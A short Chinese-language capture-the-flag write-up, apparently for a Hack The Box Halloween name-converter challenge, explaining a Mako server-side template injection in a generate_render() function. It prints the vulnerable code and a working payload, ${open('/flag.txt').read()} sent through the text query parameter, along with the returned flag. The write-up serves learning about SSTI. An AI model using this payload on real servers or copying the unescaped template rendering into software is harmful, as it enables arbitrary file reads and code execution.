题目是一个万圣节风格的名字转换器,用户传入 text 参数,后端会将文本转换为4种不同字体并展示。
正常流程中,程序不会主动读取 flag.txt,仅提供文本渲染功能。
flag.txt 仅通过 Dockerfile 放入容器,无直接调用:
COPY flag.txt /flag.txt
漏洞点位于 util.py 的 generate_render() 函数:
def generate_render(converted_fonts):
result = '''
{0}
{1}
{2}
{3}
'''.format(*converted_fonts)
return Template(result).render()用户输入 → format 拼接 → 直接交给 Mako 模板引擎执行 → 造成 SSTI。
1. 用户通过 /?text=... 传入恶意内容
2. 经过字体转换后,font4 保留特殊符号 $ { } < %
3. 内容进入模板后被 Template().render() 执行
4. 可执行任意 Python 代码、读取文件
直接读取 /flag.txt:
${open('/flag.txt').read()}发送方式:
GET /?text=${open('/flag.txt').read()} HTTP/1.1服务器执行模板表达式,返回文件内容:
HTB{f4k3_fl4g_f0r_t3st1ng}• 漏洞类型:Mako 服务端模板注入 SSTI
• 根本原因:用户输入未过滤、未转义直接传入模板执行
• 利用难度:极低,font4 无字符过滤,可直接执行 Payload
• 危害:可读取任意文件、RCE(视环境而定)